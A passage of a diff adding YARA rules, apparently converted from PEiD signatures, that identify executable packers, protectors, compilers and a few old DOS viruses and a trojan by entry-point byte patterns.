+	strings:
+		$0 = {41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _IMPPacker_10__Mahdi_Hezavehi_IMPOSTER_h_
+{
+	meta:
+		description = "IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER] (h)"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0
+}
+rule _ASPack_v21_
+{
+	meta:
+		description = "ASPack v2.1"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_vxx_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x"
+	strings:
+		$0 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04}
+		$1 = {55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F}
+		$2 = {53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_Debug_Version_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 (Debug Version)"
+	strings:
+		$0 = {55 8B EC 51 ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt_v10_
+{
+	meta:
+		description = "LameCrypt v1.0"
+	strings:
+		$0 = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _iPBProtect_v013_
+{
+	meta:
+		description = "iPBProtect v0.1.3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+	condition:
+		$0
+}
+rule _PKLITE_v114_v120_
+{
+	meta:
+		description = "PKLITE v1.14, v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _DAEMON_Protect_v067_
+{
+	meta:
+		description = "DAEMON Protect v0.6.7"
+	strings:
+		$0 = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_main_
+{
+	meta:
+		description = "MinGW v3.2.x (main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_V1X__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.X -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v27_
+{
+	meta:
+		description = "EXE Stealth v2.7"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+	condition:
+		$0 at entrypoint
+}
+rule _HPA_
+{
+	meta:
+		description = "HPA"
+	strings:
+		$0 = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_Modified_
+{
+	meta:
+		description = "UPX v1.03 - v1.04 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v300_
+{
+	meta:
+		description = "Armadillo v3.00"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXFreak_V01__HMX0101_
+{
+	meta:
+		description = "UPXFreak V0.1 -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b2_v20b3_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b2, v2.0b3"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v253_
+{
+	meta:
+		description = "Armadillo v2.53"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+		$2 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt"
+	strings:
+		$0 = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+		$1 = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? F6}
+		$2 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+		$3 = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_01_WATCOM_CCpp_EXE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [WATCOM C/C++ EXE] --> Anorganix"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+		$1 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MicroJoiner_11__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.1 -> coban2k"
+	strings:
+		$0 = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_V194__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V1.94 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_32Lite_003__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [32Lite 0.03] --> Anorganix"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+		$1 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Sonik_Youth_
+{
+	meta:
+		description = "Vx: Sonik Youth"
+	strings:
+		$0 = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Lattice_C_v30_
+{
+	meta:
+		description = "Lattice C v3.0"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v038_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.38 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember"
+	strings:
+		$0 = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _TPACK_v05c_m1_
+{
+	meta:
+		description = "T-PACK v0.5c -m1"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_vxx_
+{
+	meta:
+		description = "PEtite vx.x"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v15b3_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.5b3"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_ARCV4_
+{
+	meta:
+		description = "Vx: ARCV.4"
+	strings:
+		$0 = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b6_
+{
+	meta:
+		description = "PECompact v1.10b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C_50_
+{
+	meta:
+		description = "Microsoft Visual C 5.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57}
+	condition:
+		$0
+}
+rule _Turbo_C_
+{
+	meta:
+		description = "Turbo C"
+	strings:
+		$0 = {BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v1242__v1243_
+{
+	meta:
+		description = "PECompact v1.24.2 - v1.24.3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__XiaoHui_
+{
+	meta:
+		description = "WARNING -> TROJAN -> XiaoHui"
+	strings:
+		$0 = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PROTECT_EXECOM_v60_
+{
+	meta:
+		description = "PROTECT! EXE/COM v6.0"
+	strings:
+		$0 = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1530_
+{
+	meta:
+		description = "Vx: Eddie.1530"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_v101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_XRCV1015_
+{
+	meta:
+		description = "Vx: XRCV.1015"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Crinkler_V03V04__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B8 00 00 42 00 31 DB 43 EB 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_v0001_
+{
+	meta:
+		description = "Packman v0.0.0.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Intro_v10_
+{
+	meta:
+		description = "PE Intro v1.0"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12__NorthfoxHCC_
+{
+	meta:
+		description = "MEW 11 SE v1.2 -> Northfox[HCC]"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v13x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.3x"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_v10__Alex_
+{
+	meta:
+		description = "Alex Protector v1.0 -> Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_32_
+{
+	meta:
+		description = "Shrinker 3.2"
+	strings:
+		$0 = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_80_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0"
+	strings:
+		$0 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_v30_1985_
+{
+	meta:
+		description = "Turbo Pascal v3.0 1985"
+	strings:
+		$0 = {90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Install_Stub_32bit_
+{
+	meta:
+		description = "Install Stub 32-bit"
+	strings:
+		$0 = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v204_
+{
+	meta:
+		description = "PE Lock NT v2.04"
+	strings:
+		$0 = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_beta2_
+{
+	meta:
+		description = "Armadillo v2.52 beta2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v265b1_
+{
+	meta:
+		description = "Armadillo v2.65b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_14_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (14)"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v11_
+{
+	meta:
+		description = "MEW 11 SE v1.1"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_v70_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _tElock_v041x_
+{
+	meta:
+		description = "tElock v0.41x"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Manager_Version_30_1994_c_Solar_Designer_
+{
+	meta:
+		description = "EXE Manager Version 3.0 1994 (c) Solar Designer"
+	strings:
+		$0 = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_V10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner V1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Horse1776_
+{
+	meta:
+		description = "Vx: Horse.1776"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102__103__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_6_
+{
+	meta:
+		description = "kryptor 6"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10804_
+{
+	meta:
+		description = "ASPack v1.08.04"
+	strings:
+		$0 = {60 E8 41 06 00 00 EB 41}
+		$1 = {60 E8 ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exact_Audio_Copy_
+{
+	meta:
+		description = "Exact Audio Copy"
+	strings:
+		$0 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PMODEW_v112_116_121_133_DOS_extender_
+{
+	meta:
+		description = "PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender"
+	strings:
+		$0 = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_UPX_06__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [UPX 0.6] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+		$1 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v032_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.32 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_11b__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.1b] --> Anorganix"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+		$1 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_430a__Silicon_Realms_Toolworks_h_
+{
+	meta:
+		description = "Armadillo 4.30a -> Silicon Realms Toolworks (h)"
+	strings:
+		$0 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+		$1 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+	condition:
+		$0 or $1
+}
+rule _REALbasic_
+{
+	meta:
+		description = "REALbasic"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12_
+{
+	meta:
+		description = "Petite 1.2"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_11__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_v10__v30_
+{
+	meta:
+		description = "Spalsher v1.0 - v3.0"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_
+{
+	meta:
+		description = "WATCOM C/C++"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v10_
+{
